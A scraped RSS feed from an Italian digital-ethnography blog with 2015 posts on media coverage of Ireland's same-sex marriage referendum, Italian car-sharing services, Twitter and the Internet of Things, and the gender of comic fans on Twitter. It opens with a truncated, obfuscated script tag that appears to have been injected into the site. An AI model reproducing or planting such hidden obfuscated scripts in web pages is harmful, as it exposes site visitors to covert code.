<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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		<title>#IrelandVotesYes: the media coverage of same sex marriage referendum in Ireland</title>
		<link>https://www.etnografiadigitale.it/irelandvotesyes-the-media-coverage-of-same-sex-marriage-referendum-in-ireland/</link>
		
		<dc:creator><![CDATA[Massimo Airoldi]]></dc:creator>
		<pubDate>Tue, 21 Jul 2015 08:50:02 +0000</pubDate>
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					<description><![CDATA[May 22nd 2015, Ireland made a big step towards equality: the Irish Constitution was changed to extend civil marriage rights to same-sex couples. The controversial event has been long debated, hundreds of emigrants came home to vote and the turnout was impressive. Referendum results came out on May 23rd, showing that 62% of voters were [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/ireland.png"><img loading="lazy" decoding="async" class="alignleft  wp-image-6532" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/ireland.png" alt="ireland" width="372" height="210" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/06/ireland.png 739w, https://www.etnografiadigitale.it/wp-content/uploads/2015/06/ireland-300x170.png 300w" sizes="auto, (max-width: 372px) 100vw, 372px" /></a>May 22nd 2015, Ireland made a big step towards equality: the Irish Constitution was changed to extend <strong>civil marriage rights</strong> to <strong>same-sex couples</strong>.<br />
The controversial event has been long debated, hundreds of emigrants came home to vote and the turnout was impressive. <strong>Referendum results</strong> came out on May 23rd, showing that 62% of voters were enthusiastic about the constitutionalamendment.</p>
<p>Our <strong>content analysis</strong>, conducted between <strong>May 21st</strong> and <strong>May 26th</strong>, aims at showing how the event was depicted in four <strong>online newspapers</strong> of different countries: The Irish Times, The New York Times, Corriere della Sera and Frankfurter Allgemeine Zeitung. Starting from keywords such as &#8220;same sex marriage&#8221; and &#8220;Ireland referendum&#8221;, we identified differences and similarities among the selected newspapers.<br />
The event had great resonance not only on traditional media but especially on <strong>social networks</strong>. That is the reason why this study was extended in order to take into consideration contents shared on <strong>Twitter</strong>, <strong>Facebook</strong>, <strong>YouTube</strong> and <strong>Instagram</strong>.</p>
<p>With respect to <strong>&#8220;traditional&#8221; media</strong>, we analyzed the newspapers mentioned above, focusing on different articles having as main theme Ireland and same sex marriage.<br />
On The Irish Times there were many articles about the topic, with both soft and hard news, with very detailed information about the elections and gay couples’ personal experiences. The other newspapers focused in particular on the differences between gay rights in Ireland and in other countries, as it was pointed out in the Frankfurter Allgemeine Zeitung and in The New York Times. Corriere della Sera focused mainly on the reaction of the Church.</p>
<p>For what regards Twitter, a number of <strong>different hashtags</strong> became very popular when referring to the referendum, such as #HomeToVote, #MarRef, #YesEquality #VoteYes &#8211; especially before May 22nd &#8211; while #HungoverForEquality has been increasingly popular after the results. The two most internationally widespread hashtags were <strong>#HomeToVote</strong> and <strong>#MarRef</strong>.</p>
<p><iframe loading="lazy" src="http://reverb.twitter.com/view/058021355700331084" width="622" height="350"></iframe><br />
#MarRef gathered enormous traffic in May. On May 22nd, between 9.30 am and 10.30 am, the #MarRef peaked garnering <strong>10,600 tweets</strong> on the topic.<br />
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<p>Since October 2014, the <strong>&#8220;YesEquality&#8221; Facebook page</strong> has been active in order to promote same sex marriage in Ireland. In the analyzed period there was a countdown and a daily updating of the page, with videos and multimedia contents until May 22nd. The latest update was on May 23rd, celebrating with a picture the positive referendum results, shared by almost 13,000 Facebook users.<br />
YesEquality has also been active on <strong>Instagram and Youtube</strong>. Before May 23, the &#8220;YesEquality&#8221; Instagram page posted pictures of celebrities promoting to vote yes, using again popular hashtags such as #marriageequality, #marref, #yesequality, #voteyes, #makegrathelaw, doing a true countdown together with Facebook until the referendum day.<br />
On YouTube many videos promoted to vote yes through the citizens voices. After the referendum, a video showed Former President Mary McAleese speaking at the Yes Equality Campaign party in Ballsbridge Hotel, thanking those voting yes and celebrating a great day for Ireland.</p>
<p>To <strong>download the slides</strong> with more data, click <a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/07/here.pdf" target="_blank">here</a>. <a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/ireland.png"><br />
</a></p>
<p><em>Article by Martina Papetti, Claudia Pattacini (@ClaudiaPatta) e Ambra Pizzagalli</em><br />
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		<title>Shared-Transport: un’analisi di benchmarking</title>
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		<pubDate>Tue, 23 Jun 2015 09:03:30 +0000</pubDate>
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<p>&nbsp;</p>
<p>In quest’articolo presentiamo un’<strong>analisi di benchmarking</strong> relativa ai principali servizi di <strong>car-sharing</strong> e <strong>car-pooling</strong> maggiormente utilizzati in <strong>Italia</strong> e focalizzata sulle caratteristiche di ciascun servizio.<br />
I servizi considerati sono <strong>BeeCar</strong>, <strong>BlaBlaCar</strong>,<strong> Car2Go</strong>,<strong> Enjoy</strong>,<strong> EQSharing</strong>, <strong>E-Vai</strong>, <strong>GuidaMi</strong>, <strong>Roma Car Sharing</strong>, <strong>Twist</strong> ed <strong>Uber</strong>. Mentre le caratteristiche, analizzate e comparate, offerte dai vari player sono <strong>15</strong> e sono state estratte dopo l’analisi dei player tramite uno studio dei rispettivi siti e di altro materiale informativo via web. Ciò che ne è risultato viene sintetizzato in una <strong>Infografica</strong> che mostra quale tipo di servizio è offerto e da chi.</p>
<p>&nbsp;</p>
<h2><strong>Shared-Transport</strong></h2>
<p>I termini <em>Car-Sharing</em> e <em>Car-Pooling</em> negli ultimi anni sono diventati termini di uso comune e derivano direttamente da quelli di <strong>Sharing-Economy</strong> e dal più circoscritto movimento di <strong>Shared-Transport</strong>.<br />
Il concetto di condivisione è stato ampiamente, e spesso impropriamente, utilizzato per descrivere nuove realtà economiche che focalizzano la loro attenzione sull’<strong>economia collaborativa</strong> ed <strong>eco-sostenibile</strong> in cui il web gioca un ruolo fondamentale. «<em>Nell’economia delle idee, quello che il web sta creando è che “tu sei quello che condividi”</em>» (Leadbetter 2009)<sup>1</sup>. Nell’ottica delle <strong>politiche</strong> di <strong>mobilità sostenibile</strong>, un bene privato come l’automobile passa da bene di consumo a quello di servizio.</p>
<p>A livello individuale lo sharing e l’interesse personale vanno di pari passo, in modo che tutti gli attori coinvolti in questa attività abbiano un guadagno, dato che un servizio del genere non funzionerebbe se basato su una mera logica altruistica: «la promessa della sharing economy non è quella di superare l’interesse personale ma riguarda l’integrazione tra questo è il bene comune» (Belk 2014)<sup>2</sup>. Più nello specifico i servizi di car-sharing, si distinguono da quelli di pooling perché prevedono una transazione con un’azienda o società che offre un servizio di trasporto specifico, secondo varie modalità. In cui il privato, tramite <strong>App</strong> o altro canale, richiede il servizio dell’auto in comodato d’uso oppure utilizza servizi paragonabili a quelli offerti dai taxi. Il car-pooling invece rispecchia la teoria più pura di <strong>collaborative consumption</strong>, nella quale i privati si accordano per la divisione del bene (la macchina in questo caso) per un risparmio dei costi derivanti dal suo utilizzo. I punti di forza di questo tipo di servizi riguardano:</p>
<p>&#8211; La riduzione dei <strong>prezzi</strong> derivanti dalla proprietà di un veicolo privato<br />
&#8211; La riduzione del livello di <strong>stress</strong> che l’utilizzo di un’auto in città spesso causa (specialmente in città fortemente urbanizzate e densamente popolate).<br />
&#8211; L’impatto <strong>ambientale.</strong> Il fatto che una sola auto possa proporsi come un servizio per più persone ne riduce infatti l’impatto ambientale, poiché il veicolo viene usato al massimo delle sue possibilità evitando così l’inserimento in circolo di un altro veicolo.</p>
<p>Questi punti chiave sono ricorrenti in tutti i <em>claim</em> utilizzati dagli attori analizzati. Attori che sono stati analizzati tramite una sistematica lettura dei loro siti web, in cui ci si è focalizzati su come essi stessi presentano i rispettivi brand e le motivazioni economico-culturali che li hanno spinti ad adottare questa forma di attività economica.<br />
L’analisi di benchmarking ha preso in considerazione quelli che sono i principali player italiani in questo momento, cercando di estrapolare gli aspetti più interessanti, le caratteristiche specifiche e i servizi offerti che condividono, o meno, trascrivendo il tutto in un’infografica di facile leggibilità.</p>
<p>&nbsp;</p>
<h2><strong>Metodologia</strong></h2>
<p>I player analizzati sono stati <strong>11</strong>: BeeCar, BlaBlaCar, Car2Go, Enjoy, EQSharing, E-Vai, GuidaMi, MyTaxi, Roma Car Sharing, Twist ed Uber. Ognuno di questi è assimilabile ad una delle due macro-categorie inizialmente descritte, Car-Sharing o Car-Pooling, con forme diverse, più o meno labili o congiungibili. Mentre le <strong>dimensioni</strong> dell’analisi prese in considerazione per l’infografica sono <strong>15</strong>, ed ognuna di queste è stata estrapolata in base a come il brand stesso la presentava all’interno dei rispettivi <strong>siti web</strong>. Man mano che una caratteristica sembrava nodale nel servizio stesso veniva annotata e confrontata con tutte le altre estratte dai competitor. Spesso le dimensioni ricorrevano perché riferite, evidentemente, ad elementi comuni al mondo dello shared-transport; altre invece erano peculiari di un determinato servizio o implementate da un’azienda specifica – per questo motivo alcune categorie specifiche sono state accorpate in macro-categorie più ampie. Di seguito descriviamo le 15 dimensioni.</p>
<p><strong>App:</strong> Possibilità di utilizzare un’App specifica per mobile che dia accesso al <strong>servizio.</strong><br />
<strong>Cashless:</strong> Transazione per il pagamento del servizio con carta di credito/debito da mobile tramite l’App, senza necessità di pagamento in contanti.<br />
<strong>Preventivo Costo:</strong> Possibilità di avere un preventivo, più o meno dettagliato, della spesa complessiva che si affronterà una volta scelto il servizio.<br />
<strong>Divisione Costo</strong>: Possibilità di dividere il prezzo del servizio con altri utenti, in modo equo.<br />
<strong>Differenti Veicoli</strong>: Il parco auto offerto dal servizio è vario, perciò è possibile scegliere quale tipo di vettura utilizzare.<br />
<strong>Soluzione Business</strong>: Il servizio offre una soluzione specifica per il mondo del business e delle aziende.<br />
<strong>Tariffa a Minutaggio</strong>: Il calcolo del prezzo finale del servizio si basa sul minuto ma può intrecciarsi a tariffazioni kilometriche.<br />
<strong>Tariffa Oraria</strong>: Il calcolo del prezzo finale del servizio si basa sull’ora ma, anche questa, può intrecciarsi a tariffazioni kilometriche.<br />
<strong>Tariffa Giornaliera</strong>: Il calcolo del prezzo finale del servizio si basa su 24 ore e tendenzialmente la cifra rimane senza l’aggiunta di tariffazioni a kilometraggio.<br />
<strong>Free Floating</strong>: Possibilità di parcheggiare l’auto, a fine servizio, in un punto qualsiasi della zona urbana coperta dal servizio, tenendo naturalmente conto del codice della strada.<br />
<strong>Parcheggi Convenzionati</strong>: Il termine del servizio deve essere effettuato, o può se prevede anche il free floating, in uno degli appositi parcheggi convenzionati dalla società che offre il servizio.<br />
<strong>Mobilità in Città</strong>: Questa categoria incorpora più sotto-categorie che prevedono almeno uno delle seguenti possibilità, cioè: parcheggiare su strisce blu e/o gialle, accedere alla ZTL (zona a traffico limitato) ed accedere alle corsie preferenziali.<br />
<strong>Veicolo Eco-Friendly</strong>: Il veicolo in questione è elettrico oppure a basso impatto ambientale (Euro 5 o Ibridi).<br />
Prenotazione oltre App: Possibilità di accedere al servizio tramite modalità diverse dalla registrazione con App; che sono sia la prenotazione via web oppure chiamando un numero verde. Alcuni offrono anche la possibilità di prenotare il servizio da uno dei loro punti informazione.<br />
<strong>Profilazione Utente &amp; Feedback</strong>: L’iscrizione al servizio prevede la creazione di una scheda utente che può esser costantemente aggiornata. Inoltre, tramite App o web, è anche possibile lasciare commenti sul servizio o su altri utenti (ricevendoli a propria volta).</p>
<p>&nbsp;</p>
<h2><strong>Analisi dei Player </strong></h2>
<p><strong>BeeCar</strong>: Il servizio di Sharing è presente solo nella città di Napoli, e momentaneamente è l’unico presente (anche se è presente in fase beta un altro player, Ci.Ro.). BeeCar si distingue dagli altri servizi diffusi a livello nazionale perché la sua flotta è composta unicamente da macchine elettriche Renault, con un’autonomia di 80 km. Il servizio punta a migliorare la viabilità in una città che è particolarmente sovrappopolata e dalla viabilità problematica. BeeCar non offre un servizio di free floating, per cui le auto prese in servizio devono essere sempre riconsegnate in uno dei point presenti sul territorio. I costi sono a tariffazione oraria che parte nella prima ora da 15 centesimi per salire a 20, nella seconda, 25 alla terza e così via.</p>
<p><strong>BlaBlaCar</strong>: È praticamente l’unico servizio di Pooling presente nella lista e momentaneamente funzionante sul territorio nazionale (sebbene esista ancora a livello embrionale “Muovity”, che è un progetto di car-pooling esclusivo della città di Palermo). Consente tramite la sua piattaforma web di mettere in contatto persone che offrono un passaggio con la loro macchina e persone che sono alla ricerca di un modo per spostarsi. La convenienza economica è indubbia perché entrambe le parti risparmiano su qualsiasi tratta; i conducenti dividono le spese di viaggio e i passeggeri riescono ad affrontare un viaggio con un costo più basso rispetto a qualsiasi altro mezzo. Importantissimo in questo caso è l’aspetto di condivisione e partecipazione, che è l’elemento più significativo dei servizi della sharing-economy. Ogni utente, sia conducente che passeggero, ha un profilo personale sul sito di BlaBlaCar che permette a tutti di vedere i feedback ricevuti dagli altri utenti in base alle precedenti esperienze di viaggio.</p>
<p><strong>Car2Go</strong>: L’internazionalità dell’azienda è un punto fondamentale, poiché offre la possibilità con il proprio abbonamento di accedere allo stesso servizio in altre città estere dove è presente, previa l’attivazione della tessera per la città non italiana d’interesse. La flotta auto è composta esclusivamente da Smart; una scelta non casuale, optata per agevolare il movimento in città grazie alla taglia ridotta del veicolo. Se alla riconsegna, in free floating, la macchina è a secco si può scegliere di fare rifornimento ricevendo così un bonus in minuti. Il costo a minutaggio è di 29 centesimi, che non diminuiscono durante i periodi di sosta del veicolo, e che vengono aggiunti dopo i primi 50 km. Inoltre Car2Go offre la possibilità di dividere il prezzo del servizio con un altro utente registrato, il tutto direttamente dall’app.</p>
<p><strong>Enjoy</strong>: Servizio di car-sharing creato da Eni e che permette di usufruire di un grande parco auto a Milano ma anche in altre città italiane, come Firenze, Torino e Roma. Le auto sono in free floating e spesso ci sono anche parcheggi convenzionati in zone specifiche della città (per esempio all’aeroporto di Linate a Milano). I prezzi a minutaggio sono di 25 centesimi, con un abbassamento del prezzo a 15 centesimi durante i periodi di sosta dell’auto, ma con un surplus, superati i primi 50 km, di altri 25 centesimi/ora. È possibile usufruire di una tariffa giornaliera che è di 60 €. Le auto sono in tutte le città principalmente delle fiat 500 e in numero minore delle fiat 500L.</p>
<p><strong>EQSharing</strong>: È il servizio di car-sharing elettrico del comune di Milano, che nelle intenzioni progettuali cerca di integrare il sistema di trasporto pubblico. Con queste vetture non è possibile lasciare il territorio urbano e la loro autonomia è pari a soli 40 km. Le vetture sono necessariamente legate alle isole digitali dove devono essere riparcheggiate dopo l’utilizzo per la ricarica. Il costo è di 13 centesimi al minuto.</p>
<p><strong>E-Vai</strong>: È il servizio di car-sharing creato dalla regione Lombardia in collaborazione con il Gruppo FNM. Tutte le vetture messe a disposizione sono auto elettriche oppure auto a basso impatto ambientale, e formano la flotta più variegata offerta tra tutti i servizi di sharing analizzati. La mobilità offerta dal servizio, siccome ricopre gran parte del territorio lombardo, è diversificata da città a città. Dal seguente <a href="https://www.e-vai.com/image/image_gallery?uuid=f0372e32-d817-4555-8dbf-0262765ed1d5&amp;groupId=10124&amp;t=1411057848641%20" target="_blank">link </a>è possibile visionare una tabella con tutte le città in cui è presente il servizio e in quali è possibile parcheggiare su strisce blu e/o gialle, accedere a ZTL o a corsie preferenziali e via discorrendo. Ogni auto va riconsegnata in un apposito parcheggio.</p>
<p><strong>GuidaMi</strong>: Complementare ad EQSharing e al servizio pubblico della città di Milano, prevede una flotta ampia e diversificata per cui si applica una tariffazione oraria particolare in base al veicolo scelto (i prezzi variano dalla categoria economy che è di 2,20 € ai 3,00 € per la categoria cargo); è inoltre possibile effettuare abbonamenti giornalieri (45,00 € per la categoria economy fino ai 90,00 € per quella cargo). Grazie alla convenzione con IoGuido, società di car-sharing nazionale, è possibile spostarsi in tutta Italia ed anche all’estero.</p>
<p><strong>Roma Car-Sharing</strong>: Servizio ad opera del comune di Roma e “Roma per servizi per la mobilità srl” che, come per GuidaMi, integra il servizio di trasporto pubblico. Gli abbonamenti presenti per tariffa sono a “fascia oraria”, la prima fascia va dalle 7.00 alle 24.00 mentre la seconda va dalle 24.00 alle 7.00, è prevista poi un’altra fascia per il weekend ed i festivi; un ultimo tipo di tariffazione è infine quella chilometrica (fino ai 150 km e dai 150 km in poi).</p>
<p><strong>Twist</strong>: È una società nata a Milano che offre un elevato parco auto, composto però da una sola tipologia di vettura, la Volkswagen Up. Il costo è pari a 27 centesimi al minuto e si riduce durante i periodi di sosta a 17. Se al momento della riconsegna, in free floating, la macchina dovesse essere a secco, Twist come Car2Go, offre minuti gratis in cambio del pieno.</p>
<p><strong>Uber</strong>: Il servizio è assimilabile a quello di sharing e permette di collegare utenti e autisti tramite un’App. Attraverso questa avviene una profilazione di entrambe le parti in modo tale da rendere il servizio più trasparente possibile: grazie soprattutto alla possibilità di lasciare commenti e feedback il servizio riesce a migliorarsi col passare del tempo e a garantire un servizio più sicuro ed affidabile. Esistono varie tipologie di macchine richiedibili in base alle necessità e al prezzo. Esiste una soluzione apposita per il business che può essere personalizzata in base alle necessità dell’azienda richiedente il servizio. Inoltre il servizio oltre che a Milano è presente sul territorio nazionale, anche a Genova, Padova, Roma e Torino, oltre che in svariate città estere.</p>
<p>In <strong>infografica</strong> è possibile osservare la presenza o meno delle caratteristiche precedentemente descritte per ogni brand preso in considerazione.</p>
<p>&nbsp;</p>
<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/Infografica_Bench.png"><img loading="lazy" decoding="async" class="alignnone  wp-image-6516" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/Infografica_Bench.png" alt="Shared-Transport: un’analisi di benchmarking" width="608" height="308" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/06/Infografica_Bench.png 806w, https://www.etnografiadigitale.it/wp-content/uploads/2015/06/Infografica_Bench-300x152.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></a></p>
<p>&nbsp;</p>
<h2><strong>Conclusioni</strong></h2>
<p>Il termine <strong>sharing</strong> in tutti questi servizi è ampiamente utilizzato ma, come accennato all’inizio dell’articolo, spesso si discosta dal concetto iniziale a cui è legato. La condivisione è un elemento spesso accentuato anche nelle <strong>logiche</strong> interne al <strong>web</strong> e ai<strong> social network</strong>, anche se secondo alcuni studiosi il <em>framing</em> in cui viene posizionato il concetto di sharing mistifica spesso <strong>transazioni enormemente redditizie</strong> di attori privati. Questo naturalmente non sottrae nulla alla bontà di un servizio che ha i suoi <strong>risvolti oggettivi nella vita quotidiana delle persone</strong>. I <strong>vantaggi</strong> acquisiti dalla <strong>sharing-mobility</strong> sono reali e sono alimentati sempre di più dalla partecipazione che diventa a sua volta un modello di business; cresciuto esponenzialmente negli ultimi anni. Quelli qui elencati sono solo alcuni dei tanti partecipanti al mercato della sharing-economy.<br />
Svariate realtà, ancora in fase <em>beta,</em> stanno nascendo per confrontarsi in un mercato che sembra essere abbastanza recettivo e dinamico, come a voler emulare in modo metaforico il mondo dei trasporti su cui si basa. Tra queste nuove realtà citiamo: <strong>Dryfe</strong>, una sorta di car-sharing tra privati; <strong>Muovity</strong>, il servizio di car-pooling esclusivo della città di Palermo; <strong>Ci.Ro</strong>, il nuovo servizio di car-sharing ecologico in accordo col comune di Napoli. Queste sono tutte nuove realtà dal grande potenziale immerse in un mercato in espansione, nonostante la presenza dei vari competitor già esistenti. Esistono anche realtà più piccole che sono comunque vive ed utilizzate, come il servizio di car-sharing che il <strong>Politecnico di Milano</strong> offre ai suoi studenti e al personale in modo del tutto gratuito.</p>
<p>In sostanza quello che emerge è che la <strong>mobilità cittadina non è mai stata così social</strong> ed attenta alle tematiche <strong>ambientali</strong> e di <strong>collaborazione</strong> come fin ora, per lo meno in Italia. Ogni veicolo condiviso, ogni risparmio in termini di utilizzo, ogni forma di collaborazione e condivisione sono piccole migliorie aggiunte al contesto della <strong>mobilità urbana</strong>.</p>
<p style="text-align: right;"><em>Articolo di Luca Vecchio (@alunnoribelle)</em></p>
<h5 style="text-align: left;">Note</h5>
<h5 style="text-align: left;">1. Leadbeater C. (2009), <em>We-Think: Mass Innovation, Not Mass Production, </em>London: Profile Books.</h5>
<h5 style="text-align: left;">2. Belk R. (2014), &#8216;Sharing Versus Pseudo-Sharing in Web 2.0&#8217;, <em>Anthropologist</em>, 18(1): 7-23.</h5>
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			</item>
		<item>
		<title>Come Twitter darà vigore all’Internet of Things</title>
		<link>https://www.etnografiadigitale.it/come-twitter-dara-vigore-allinternet-of-things/</link>
		
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		<pubDate>Tue, 16 Jun 2015 08:36:59 +0000</pubDate>
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					<description><![CDATA[  &#160; Twitter non connette più solo le persone, ma anche le macchine &#160; Se si desidera annunciare qualcosa pubblicamente al mondo, Twitter è di solito il modo più veloce, semplice ed economico per farlo. Che tu sia un privato o una società, la pubblicazione di un aggiornamento su Twitter assicura che chiunque rivesta un [&#8230;]]]></description>
										<content:encoded><![CDATA[<h2> <a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/osservatorio-InternetOfThings-800x500_c.jpg"><img loading="lazy" decoding="async" class="alignnone  wp-image-6508" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/osservatorio-InternetOfThings-800x500_c.jpg" alt="Come Twitter darà vigore all’Internet of Things" width="602" height="376" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/06/osservatorio-InternetOfThings-800x500_c.jpg 800w, https://www.etnografiadigitale.it/wp-content/uploads/2015/06/osservatorio-InternetOfThings-800x500_c-300x188.jpg 300w" sizes="auto, (max-width: 602px) 100vw, 602px" /></a></h2>
<p>&nbsp;</p>
<h2><strong>Twitter non connette più solo le persone, ma anche le macchine</strong></h2>
<p>&nbsp;</p>
<p>Se si desidera annunciare qualcosa pubblicamente al mondo, Twitter è di solito il modo più veloce, semplice ed economico per farlo. Che tu sia un privato o una società, la pubblicazione di un aggiornamento su Twitter assicura che chiunque rivesta un qualsiasi interesse in quello che stai facendo, avrà accesso immediato a tali informazioni. Tuttavia, non sono più solamente gli individui e le aziende che utilizzano Twitter per diffondere quello che stanno facendo &#8211; le macchine lo stanno facendo allo stesso modo, e grazie alla natura pubblica dei tweet, queste informazioni possono essere utilizzate per guidare una nuova gamma di dispositivi afferenti all&#8217;<strong>Internet of Things</strong> (IoT).</p>
<p>Secondo <strong>Andy Piper</strong>, sviluppatore Twitter, gli oggetti inanimati sono sul social fin dai primi giorni di vita della piattaforma: per fare un esempio, i primi sensori per piante sono stati dotati dei propri account Twitter già nel 2008, permettendo loro di tweettare quando i vegetali su cui erano posizionati avevano bisogno di irrigazione.<br />
Piper ha affermato che la <strong>Twitter API</strong> (Application Programming Interface) permette a chiunque di scrivere un&#8217;applicazione per gestire i dati in ingresso di sensori posizionati negli edifici o negli spazi pubblici e tradurre tali dati in forma di tweet.</p>
<p><strong>Fabric</strong>, piattaforma di sviluppo mobile di Twitter, rende la creazione di queste applicazioni più semplice e data la stima di più parti che vede il mercato dell’IoT crescere di più di 5.000 miliardi dollari nei prossimi sei anni, vi è un forte incentivo economico per gli sviluppatori a mettersi in gioco.<br />
Esistono anche una serie di ornamenti e gioielli collegati a Twitter che si accendono o cambiano colore ogni volta che il proprietario è menzionato in un tweet. Piper vede in questo un ottimo modo di rilevare i dati di Twitter in forma fisica, una manifestazione dell’<strong>end of virtual</strong>.</p>
<p>Tuttavia, il potenziale di Twitter per l&#8217;internet delle cose è molto più grande, sempre secondo Piper.<br />
Egli ha affermato che questo tipo di informazioni può tranquillamente accompagnare gli aggiornamenti di amici, familiari e celebrità seguite, aggiungendo una nuova dimensione a Twitter. Questo potrebbe anche essere utilizzato per rendere i <strong>device IoT</strong> più reattivi. Ad esempio, un flusso di Tweet proveniente da una banderuola potrebbe essere implementato in un&#8217;applicazione che controlla un sistema di riscaldamento intelligente, fornendo indicazioni utili per regolare la temperatura di un’abitazione secondo le correnti ventose all’esterno.</p>
<p>La particolarità di Twitter è quella di rimanere <strong>open</strong> e quindi collegabile e interfacciabile con qualsivoglia dispositivo, indipendentemente dal produttore.</p>
<p><em>&#8220;L’internet delle cose, per me, è render più semplice l’interazione tra tutte quelle cose e quegli oggetti che sono fondamentali per la vita in generale, e penso che Twitter sia una parte fondamentale di tutto ciò&#8221;</em>, ha affermato Piper. <em>“È così già da tempo. Semplicemente non siamo abituati a pensare in questo modo”</em>.</p>
<p>&nbsp;</p>
<p style="text-align: right;"><em>Articolo scritto da Fabio <a href="https://it.linkedin.com/in/fabiochechile" target="_blank">Chechile</a></em></p>
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		<title>Twitter e supereroi dei fumetti: quale composizione di genere della fanbase?</title>
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		<pubDate>Thu, 11 Jun 2015 11:14:14 +0000</pubDate>
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<p>Qual è la <strong>composizione di genere</strong> della base fan dei supereroi dei fumetti <strong>Marvel e DC</strong>? Ve lo siete mai chiesti?</p>
<p>Noi sì, e tramite un’indagine Twitter, che utilizza una <strong>metodologia innovativa</strong> sviluppata <em>ad hoc</em>, abbiamo scoperto che è Marvel la casa editrice che aggrega la fanbase con più alta percentuale di donne (36,5%). Marvel sembra essere ben consapevole di questo dato sociologico, in quanto sta cercando di produrre storie differenti per accontentare una fanbase sempre più eterogenea e numerosa.</p>
<p>Ma non vado oltre, la smetto con lo spoiler e vi lascio alla lettura dell’articolo completo.</p>
<h3>Scenario: supereroi, genere ed etnicità</h3>
<p>Chiunque abbia posato uno sguardo anche solo superficiale sulla cultura pop contemporanea non può che rendersi conto dell’esplosione dell’<strong>epica supereroistica</strong>: a partire dai primi anni 2000, il mercato dei prodotti culturali è stato letteralmente invaso dalle narrazioni prodotte dai ‘<strong>comics</strong>’ statunitensi. Questo fenomeno è stato talmente pervasivo da far parlare di un vero e proprio mainstreaming della ‘<a href="https://www.jacobinmag.com/2013/08/on-geek-culture/" target="_blank">geek culture</a>’, una crescita esponenziale della fanbase legata a <strong>Spiderman,</strong> <strong>Superman,</strong> <strong>X-Men</strong> e colleghi: ciò che prima era un prodotto di nicchia, ‘tarato’ su una demografica composta da maschi bianchi, statunitensi, adolescenti o postadolescenti oggi si trova a fare i conti con un mercato incredibilmente più vasto e sfaccettato.</p>
<p>Le nuove prospettive prodotte dal mainstreaming rimangono sostanzialmente inutilizzate fino a questi ultimi mesi, quando una serie di autori arruolata da DC e Marvel, le due major del fumetto statunitense, si incarica di ‘diversificare’ l’offerta culturale dei due giganti dell’intrattenimento. In sostanza fra il 2014 ed il 2015 si arriva all’introduzione di un nuovo <a href="http://en.wikipedia.org/wiki/Spider-Man_(Miles_Morales)" target="_blank">Spiderman</a> afro-ispano-americano, alla sostituzione di <strong>Thor</strong> con un personaggio femminile, ad una nuova attenzione su personaggi femminili ‘minori’ quali, ad esempio <a href="http://en.wikipedia.org/wiki/Batgirl" target="_blank">Batgirl</a> o <a href="http://en.wikipedia.org/wiki/Harley_Quinn" target="_blank">Harley Quinn</a>. Per quanto si tratti di un fenomeno trasversale alle major del fumetto è <strong>Marvel</strong> la compagnia che più investe su questa nuova strategia, lanciando nuove testate con protagonisti femminili ed in parte erodendo il tradizionale machismo dell’universo supereroistico. La direzione in cui ci si va muovendo non vede più donne o ‘minorities’ come oggetti narrativi di secondo piano, comprimari o veri e propri soprammobili in storie dedicate ad altri, ma protagonisti di primo piano.</p>
<p>Un caso esemplare della strategia Marvel è il revamp di <a href="http://en.wikipedia.org/wiki/Ms._Marvel_(Kamala_Khan)" target="_blank">Ms. Marvel</a> in cui sarà una ragazzina sedicenne pakistana a vestire i panni della protagonista della serie; al di là del contributo artistico portato dalla scrittura di qualità di Wilson<sup>1</sup>, il valore della serie è evidente sul mercato, Ms. Marvel vende bene, soprattutto in formato digitale e, per di più, diventa un <a href="http://toybox.io9.com/islamaphobic-bus-ads-in-san-francisco-are-being-defaced-1681857271" target="_blank">icona culturale</a> in brevissimo tempo.</p>
<p>Va detto che la diversificazione dell’universo supereroistico è un processo contrastato e conflittuale, l’introduzione di un nuovo Spiderman multi-razziale e, soprattutto il focus artistico su <strong>personaggi femminili</strong> innescano le ire della componente più reazionaria del fandom supereroistico, per questo rischiano di ripetersi le dinamiche viste al lavoro nel <a href="http://en.wikipedia.org/wiki/Gamergate_controversy" target="_blank">gamergate</a>. Tuttavia, accade che le ruminazioni misogine non diventano virali, ma si manifesta invece una certa resistenza: si può dire che la strategia di diversificazione goda di un certo consenso nella fanbase. Proprio perché stiamo parlando di una corazzata multi miliardaria e di un corpus narrativo di portata globale diventa quindi prioritario capire il perché di una strategia narrativa che, oggi, rivolta l’universo supereroistico in una direzione di maggiore <strong>inclusività</strong>.</p>
<h3>Metodologia e base dati</h3>
<p>Per comprendere le ragioni di questa trasformazione è possibile affidarsi alla ricognizione dei followers su Twitter delle varie case di produzione, cercando di comprendere come sia distribuito il genere dei fan. Per procurarci i dati ci affidiamo a Python e alla API di Twitter, quindi selezioniamo sei compagnie fra cui le due Major, Marvel e DC e quattro competitor: <strong>Dark Horse</strong>, <strong>Vertigo</strong><sup>2</sup>, <strong>Image</strong>, <strong>Avatar</strong> ed <strong>Oni press</strong> e per ciascuna di queste campioniamo 15.000 profili di followers completi di username<sup>3</sup>.<br />
Una volta effettuati questi passi, le cose si fanno leggermente più complicate in quanto Twitter non riporta ne rileva il genere degli iscritti. Tuttavia, è possibile aggirare questo limite utilizzando un <strong>algoritmo</strong> in grado di riconoscere il genere degli utenti a partire dal nome proprio. Tutti gli utenti dotati di un nickname impossibile da associare ad un identità maschile e femminile verranno scartati.</p>
<p>I valori restituiti dall’elaborazione dei nickname delineano un risultato piuttosto netto.</p>
